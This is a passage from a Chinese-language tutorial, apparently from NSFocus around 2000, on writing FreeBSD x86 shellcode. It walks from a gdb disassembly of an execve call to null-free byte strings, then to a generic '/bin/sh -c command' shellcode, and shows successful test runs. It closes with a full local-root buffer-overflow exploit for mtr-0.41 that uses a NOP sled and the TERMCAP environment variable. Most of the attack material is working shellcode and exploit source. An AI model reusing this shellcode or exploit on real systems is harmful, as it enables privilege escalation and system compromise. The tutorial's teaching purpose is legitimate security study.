0x8048161
0x8048163
// 以上是函数调用时的堆栈操作
0x8048166
// 保存name字符串数组的地址
0x804816d
// 保存NULL空字符串
0x8048174
0x8048177
// 将0x0压栈
0x8048179
0x804817c
// 将name字符串数组地址的地址压栈
0x804817d
0x8048180
// 将name[0]字符串地址压栈
0x8048181
// 调用execve函数
0x8048186
0x8048189
0x804818b
0x804818d
0x8048190
0x8048191
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x80481f8
// 系统中断调用子功能号0x3b(execve)
0x80481fe
// FreeBSD系统中断调用
0x8048200
0x8048202
0x8048203
End of assembler dump.
(gdb)
如果你有Linux系统下shellcode的编写经验,看这段汇编代码就不会觉得有什么困难,
所以不再对每条汇编指令进行说明。;) (又偷懒了,xixi)
将以上汇编指令最主要的部份用简单的描述性汇编语言表示就是:
main:
push 0x0
push address_of_address_of_/bin/sh
push address_of_/bin/sh
call execve
execve:
leal 0x3b, %eax
int $0x80
似乎和Linux差不多?当然,一些调整还是必不可少的:
(1)将\"/bin/sh\"字符串放到内存中;
(2)获取\"/bin/sh\"在内存中的绝对地址;
(3)去掉汇编语言中的\"0x00\"字符。
还是和Linux下的编写过程一样,经以上调整后得到的汇编代码,并将其嵌入C语言程序中:
bash-2.03$ cat execasm.c
int main()
{
__asm__
(\"
jmp callback
encode:
popl %esi
movl %esi,0x08(%esi)
xorl %eax,%eax
movb %al,0x07(%esi)
movl %eax,0x0c(%esi)
pushl %eax
leal 0x08(%esi),%edx
pushl %edx
pushl %esi
pushl %esi // <--为什么???(1)
movb 0x3b,%al
int $0x80
callback:
call encode
.string \\\"/bin/sh\\\"
\");
}
bash-2.03$ gcc -o execasm execasm.c
bash-2.03$
在继续下一步前,请大家回答两个问题:
(1)在汇编代码段中为什么会有两个\"pushl %esi\"(绝对不是笔误)?
(2)这个程序能否成功运行?(提示:逻辑和语法都没有任何错误,编译也顺利通过了。)
对于第一个问题,只要对汇编语言和函数调用有一定了解,同时再加上一点点的细心,就会知道答案了。
正常情况下,当执行call进行函数调用时,系统会自动将返回地址压入堆栈中。由于在我们的程序中并未执
行call指令(当然加上也可以),所以必须再向堆栈中压入4个字节的数据,这样才能使堆栈指针位置正确。;)
至于压入什么数据,其实对我们来说没有太大意义,因为这个调用不会再返回了。;)
对于第二个问题,先让我们来试一下,看能否运行成功:
bash-2.03$ ./execasm
Bus error (core dumped)
bash-2.03$
为什么呢?如果使用gdb调试器调试因core dump而产生的execasm.core文件,就会发现错误出现在指
令\"movl %esi,0x08(%esi)\"处。原来esi寄存器指向的地址在代码段,而代码段的内容是不允许这样修
改的!既然如此,我们把这段代码换个位置,如何?:)
先要得到这段代码的机器码,方法可以用gdb或objdump,略加调整(这个交给你们自己了;)),
最终得到第一个shellcode的字符串为:
\"\\xeb\\x17\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\"
\"\\x50\\x8d\\x56\\x08\\x52\\x56\\x56\\xb0\\x3b\\xcd\\x80\\xe8\\xe4\\xff\"
\"\\xff\\xff/bin/sh\"
下面来验证一下这段shellcode。编写以下程序:
bash-2.03$ cat shellcode1.c
char shellcode[]=
\"\\xeb\\x17\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\"
\"\\x50\\x8d\\x56\\x08\\x52\\x56\\x56\\xb0\\x3b\\xcd\\x80\\xe8\\xe4\\xff\"
\"\\xff\\xff/bin/sh\";
int main()
{
int *ret;
printf(\"Shellcode length: %i\\n\", strlen(shellcode));
ret=(int *)&ret+2;
(* ret)=(int)shellcode;
}
bash-2.03$
编译,运行:
bash-2.03$ gcc -o shell1 shellcode1.c
bash-2.03$ ./shell1
Shellcode length: 37
$
Bingo!搞定!:)是不是很简单?本来就很简单。
在进入下一项内容前,给大家出几道练习题。(如果真的想掌握这项技术的话,请完成它们。)
(1)将execasm.c中汇编程序段的机器码找出来,并做调整(因为其中仍含有\0x00\字符)。
(2)对这段shellcode进行优化,看能不能使其更短?(如果可以的话,请贴到绿色兵团网站之“Unix系统安全”论坛。)
(3)FreeBSD的系统调用方式有两种,试着找出另一种方法。编写出相应的shellcode,并和本文的shellcode作比较。
(4)参考绿盟网络安全技术月刊第四期《高级缓冲溢出的使用》一文,将其中的shellcode技巧移植到FreeBSD平台下。
(请抄送一份给我。:))
---[[ 进阶
有shellcode编写基础和经验的人,应该觉得上面这段内容是属于“绝对的入门级”。如果仅仅写出这种东西,
看来我以后也不要再研究计算机网络安全技术了!现在让我们来探讨一下如何加强shellcode的功能。
(注:本节内容虽然以FreeBSD为研究平台,但同样适合其它系统平台。)
本来计划在这节讲一下如何将《高级缓冲溢出的使用》中的shellcode移植到FreeBSD平台下,但考虑到技术原
理和资料都大同小异,难度不大。恐有灌水之嫌,最后决定把这个作为练习题了。;)
在标准的shellcode中,我们执行的命令是\"/bin/sh\",也就是希望得到一个shell环境。在某些情况下,如无
法得到shell环境(无法将输入/输出重定向,缺少环境变量等),或仅需要执行一两个命令(添加用户或后门等),
这个标准shellcode就无法满足我们的要求了。
也许有人会说,那可以直接修改shellcode嘛。直接修改确实是一个解决方法,但每次修改都要修改和调试其
中的偏移量,比较麻烦,为什么不能让我们的shellcode自己完成这项任务呢?这样的话,我们就相当于拥有一个
“通用的”shellcode了!;)
基本的技术原理是将需要运行的命令附加到shellcode后,由shellcode自已将这个命令传递给系统运行。
(听起来好象也不太难。;))从C语言编程的角度来思考,就是利用execve()函数调用。
首先,我们应该知道系统调用函数execve()的语法格式为:
int execve(const char *path, char *const argv[], char *const envp[])
即:
execve(address_of_the_command,array_of_parameters,array_of_environment_variables)
当执行这个函数时,对参数进行的堆栈和调用操作为:
push array_of_environment_variables
push array_of_parameters
push address_of_the_command
call execve
这个堆栈操作比上一节复杂不少。那么应该传递什么参数呢?我们都知道,要向sh传递命令时可以使用\"-c\"参数。这们
要利用的就是这一点。即构造下面这条命令:
/bin/sh -c \"command\"
+--+--+ ++ +--+--+
| | |
+ + +
argv[0] argv[1] argv[2]
此时,字符串数组为:
argv[0] --> \"/bin/sh\"字符串的地址
argv[1] --> \"-c\"字符串的地址
argv[2] --> \"command\"字符串的地址
0 --> NULL字符串地址
每个地址占用4字节,一共占用16个字节。对应的堆栈和调用操作为:
push 0x0
push address_of_argv[]
push address_of_argv[0](\"/bin/sh\")
call execve
现在的编程思路已经非常清晰了。按照上一节的调试步骤,我们很快就能够得到以下“通用”shellcode:
\"\\xeb\\x36\" // jmp
//
\"\\x5e\" // popl %esi (c)
\"\\x8d\\x0e\" // leal (%esi), %ecx (d)
\"\\x31\\xd2\" // xorl %edx, %edx (e)
\"\\x88\\x56\\x17\" // movb %dl, 0x17(%esi) (f)
\"\\x88\\x56\\x1a\" // movb %dl, 0x1a(%esi) (g)
\"\\x89\\x56\\x0c\" // movl %edx, 0x0c(%esi) (h)
\"\\x89\\x56\\xf5\" // movl %edx, -0x0b(%esi) (i)
\"\\x88\\x56\\xfa\" // movb %dl, -0x06(%esi) (j)
\"\\x8d\\x56\\x1b\" // leal 0x1b(%esi), %edx (k)
\"\\x89\\x56\\x08\" // movl %edx, 0x08(%esi) (l)
\"\\x8d\\x56\\x18\" // leal 0x18(%esi), %edx (m)
\"\\x89\\x56\\x04\" // movl %edx, 0x04(%esi) (n)
\"\\x8d\\x5e\\x10\" // leal 0x10(%esi), %ebx (o)
\"\\x89\\x1e\" // movl %ebx, (%esi) (p)
\"\\x89\\xca\" // movl %ecx, %edx (q)
\"\\x31\\xc0\" // xorl %eax, %eax (r)
\"\\xb0\\x3b\" // movb 0x3b, %al (s)
\"\\x52\" // pushl %edx (t)
\"\\x51\" // pushl %ecx (u)
\"\\x53\" // pushl %ebx (v)
\"\\x50\" // pushl %eax (w)
\"\\x9a\\x01\\x01\\x01\\x01\\x07\\x01\" // lcall 0x07, 0x0 (x)
//
\"\\xe8\\xc5\\xff\\xff\\xff\" // call
\"aaaa\" // argv[0] (address of \"/bin/sh\") (1)
\"bbbb\" // argv[1] (address of \"-c\") (2)
\"cccc\" // argv[2] (address of \"command\") (3)
\"dddd\" // argv[3] (NULL) (4)
\"/bin/sh0\" (5)
\"-c0\" (6)
\"\"; (7)
在继续往下看之前,希望大家能仔细阅读以上代码段,尽量读懂它。
下面是一些简要说明:
(1)--(4):用于存放各字符串的地址指针。
(5): 存放\"/bin/sh\"字符串。\0\是临时编码,将会在运行时被替换为\"0x0\"字符。
(6): \"-c\"参数字符串。\0\的意义同上。
(7): 将会被用于存放\"command\"命令字符串。
(a)(y)(z)(b)(c): 获取”数据段“起始地址。
(d): argv[]字符串数组地址-->ecx寄存器。
(e)--(j): 解码\"0x00\"。
(k)(l): 获得并存放\"command\"的地址-->\"cccc\"。
(m)(n): 获得并存放\"-c\"的地址-->\"bbbb\"。
(o)(p): 获得并存放\"/bin/sh\"的地址-->\"aaaa\"和ebx寄存器。
(q): 构造正确的edx寄存器内容。
(r)(s): 构造正确的eax寄存器内容。
(t)-(w): 系统调用参数压栈。
(x): 远程调用lcall()。(*)
(*)--这个过程调用是我从别人的shellcode中发现的。在SCO Unix系统中也有这个过程。它是进行系统调用的另一种方法。
这会使shellcode稍微长了点,但似乎在跨平台移植上简单了许多。本来我计划用int 0x80系统中断来重写这段shellcode,但
还不如让大家自己动手重写,这样会得到更多满足感的。;)
下面测试一下这段shellcode:
bash-2.03$ cat shellcode_fbsd.c
char execshell[]=
\"\\xeb\\x36\" // jmp
// encode:
\"\\x5e\" // popl %esi
\"\\x8d\\x0e\" // leal (%esi), %ecx
\"\\x31\\xd2\" // xorl %edx, %edx
\"\\x88\\x56\\x17\" // movb %dl, 0x17(%esi)
\"\\x88\\x56\\x1a\" // movb %dl, 0x1a(%esi)
\"\\x89\\x56\\x0c\" // movl %edx, 0x0c(%esi)
\"\\x89\\x56\\xf5\" // movl %edx, -0x0b(%esi)
\"\\x88\\x56\\xfa\" // movb %dl, -0x06(%esi)
\"\\x8d\\x56\\x1b\" // leal 0x1b(%esi), %edx
\"\\x89\\x56\\x08\" // movl %edx, 0x08(%esi)
\"\\x8d\\x56\\x18\" // leal 0x18(%esi), %edx
\"\\x89\\x56\\x04\" // movl %edx, 0x04(%esi)
\"\\x8d\\x5e\\x10\" // leal 0x10(%esi), %ebx
\"\\x89\\x1e\" // movl %ebx, (%esi)
\"\\x89\\xca\" // movl %ecx, %edx
\"\\x31\\xc0\" // xorl %eax, %eax
\"\\xb0\\x3b\" // movb 0x3b, %al
\"\\x52\" // pushl %edx
\"\\x51\" // pushl %ecx
\"\\x53\" // pushl %ebx
\"\\x50\" // pushl %eax
\"\\x9a\\x01\\x01\\x01\\x01\\x07\\x01\" // lcall 0x07, 0x0
// callback:
\"\\xe8\\xc5\\xff\\xff\\xff\" // call
\"aaaa\" // argv[0] (address of \"/bin/sh\")
\"bbbb\" // argv[1] (address of \"-c\")
\"cccc\" // argv[2] (address of \"command\")
\"dddd\" // argv[3] (NULL)
\"/bin/sh0\"
\"-c0\"
\"\";
char buf[300];
int main(int argc, char **argv)
{
int *ret;
char cmd[200];
char test[]=\"/usr/bin/id\";
char end[]=\";\\x00\";
printf(\"\\nShellcode length: %i\\n\",strlen(execshell));
if(argc < 2)
{
memcpy(cmd,test,strlen(test));
memcpy(buf,execshell,strlen(execshell));
memcpy(buf+strlen(execshell),cmd,strlen(cmd));
memcpy(buf+strlen(execshell)+strlen(cmd),end,strlen(end));
}
else
{
if(argc == 2)
{
strncpy(cmd,argv[1],strlen(argv[1]));
memcpy(buf,execshell,strlen(execshell));
memcpy(buf+strlen(execshell),cmd,strlen(argv[1]));
memcpy(buf+strlen(execshell)+strlen(argv[1]),end,strlen(end));
}
else
{
printf(\"Usage: %s \\\"command\\\"\\n\", argv[0]);
exit(0);
}
}
printf(\"Total length: %i\\n\\n\",strlen(buf));
ret = (int *)&ret + 2;
(*ret) = (int)buf;
}
编译:
bash-2.03$ gcc -o shellcode_fbsd shellcode_fbsd.c
运行验证:
bash-2.03$ ./shellcode_fbsd
Shellcode length: 88
Command length: 11
Total (shellcode+cmd+end) length: 100
uid=1001(backend) gid=1001(nsfocus) groups=1001(nsfocus), 0(wheel)
bash-2.03$ ./shellcode_fbsd \"uname -a\"
Shellcode length: 88
Command length: 8
Total (shellcode+cmd+end) length: 97
FreeBSD freebsd.nsfocus.com 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Mon Mar 20 22:50:22 GMT 2000
[email protected]:/usr/src/sys/compile/GENERIC i386 bash-2.03$ ./shellcode_fbsd \"sh\"
Shellcode length: 88
Command length: 2
Total (shellcode+cmd+end) length: 91
$ whoami
backend
$ exit
bash-2.03$
OK,现在可以说基本上是大功告成了。
我将这两段shellcode代码在FreeBSD 3.3(stable version)下对mtr-0.41进行缓冲区溢出程序攻击测试,
都成功通过。以下是使用了更短长度shellcode的攻击程序代码:
/* (c) 2000 babcia padlina / buffer0verfl0w security */
/* freebsd mtr-0.41 local root exploit */
/* Modified with shorter shellcode by backend <[email protected]> */
/* Note: offset=8000 on FreeBSD 3.3 (stable version) */
/* Date: 2000/05/08 */
#include
#include
#include
#include
#define NOP 0x90
#define BUFSIZE 10000
#define ADDRS 1200
long getesp(void)
{
__asm__(\"movl %esp, %eax\\n\");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell=
// shellcode by backend
\"\\x31\\xdb\\xb8\\xb7\\xaa\\xaa\\xaa\\x25\\xb7\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
\"\\x31\\xdb\\xb8\\x17\\xaa\\xaa\\xaa\\x25\\x17\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
\"\\xeb\\x1c\\x5e\\x31\\xc0\\x88\\x46\\x07\\x8d\\x1e\\x89\\x5e\\x08\"
\"\\x89\\x46\\x0c\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\x50\\x51\\x53\\x53\"
\"\\xb0\\x3b\\xcd\\x80\\xe8\\xdf\\xff\\xff\\xff/bin/sh\";
/* old shellcode
\"\\x31\\xdb\\xb8\\xb7\\xaa\\xaa\\xaa\\x25\\xb7\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
\"\\x31\\xdb\\xb8\\x17\\xaa\\xaa\\xaa\\x25\\x17\\x55\\x55\\x55\\x53\\x53\\xcd\\x80\"
\"\\xeb\\x23\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x31\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"
\"\\x89\\x56\\x14\\x88\\x56\\x19\\x31\\xc0\\xb0\\x3b\\x8d\\x4e\\x0b\\x89\\xca\\x52\"
\"\\x51\\x53\\x50\\xeb\\x18\\xe8\\xd8\\xff\\xff\\xff/bin/sh\\x01\\x01\\x01\\x01\"
\"\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03\\x9a\\x04\\x04\\x04\\x04\\x07\\x04\";
*/
char buf[BUFSIZE+ADDRS+1], *p;
int noplen, i, ofs;
long ret, *ap;
if (argc < 2) { fprintf(stderr, \"usage: %s ofs\\n\", argv[0]); exit(0); }
ofs = atoi(argv[1]);
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen] = \\\0\;
strcat(buf, execshell);
setenv(\"EGG\", buf, 1);
p = buf;
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = \\\0\;
fprintf(stderr, \"ret: 0x%x\\n\", ret);
setenv(\"TERMCAP\", buf, 1);
execl(\"/usr/local/sbin/mtr\", \"mtr\", 0);
return 0;
}
(题外话:我还使用shellcode环境变量的方法完全重写了对mtr-0.41的缓冲区溢出攻击程序。有兴趣的朋友请自己研究。)
要获得关于mtr-0.41程序缓冲区溢出漏洞的技术资料,可到绿色兵团网站(http://www.nsfocus.com/)
或packetstorm网站查找。
---[[ 思考
在我们以前的技术文章中提到的缓冲区溢出高级技巧(Linux系统平台),都可以很轻易地移植到FreeBSD、SCO Unix等
基于Intel x86硬件平台的Unix操作系统中。如果真的希望能充分掌握shellcode编写技术,请自行将绿盟网络安全技术月刊
第四期《高级缓冲溢出的使用》中所涉及到的高级shellcode移植到FreeBSD或SCO Unix平台下。
如果非常熟悉汇编语言编程和调试工具,写出更复杂的shellcode(例如shellcode编码和解码(加密和解密),装载可
利用的动态链接库,设置相关环境变量,等等),是一件富有挑战性的工作。再配合更复杂的缓冲区溢出技术,就能够写出非
常精妙的攻击程序。
在了解和掌握缓冲区溢出和shellcode编写的技术后,应该阅读和研究关于如何防止缓冲区溢出及其攻击的技术文献,然
后再阅读和研究关于如何突破这些安全机制的文章。
还有很多、很多、……,引用这句话吧:Open your mind。:)
---[[ 总结
其实也没什么好总结的了。关于shellcode和缓冲区溢出的文章已经非常多了,只要专心学习,仔细研究,善于总结,也
许你们会比我更有心得可写。
现在大家应该总结出编写shellcode的基本步骤了,就是:
编写系统调用C程序 --> 了解系统调用的汇编指令(系统处理过程) -->
编写最简单的shellcode(调整绝对跳转地址) --> 测试 --> 第二次调整(去掉0x00字符) -->
测试 --> 第一次改进 --> 测试 --> 第二次改进 -->
测试 --> ……第n次改进 --> 第n次测试……(想什么时候停止,就由你自己决定吧;))
如果大家对shellcode或缓冲区溢出程序的编写有什么心得,可以来信交流,或请copy一份给我。
(注:原本打算附上我将以上shellcode移植到SCO Unix系统平台后的结果,但后来担心这样的话有些人可能便不去研究,而只会
使用,成了\"Script Kidde\",最后还是决定不写入本文中。如果你在研究SCO Unix系统平台下的shellcode时有什么问题,可来
信与我们一起交流,我会很乐意提供SCO Unix系统平台下的“标准”shellcode。)
发布人:netbull 来自:黑白世界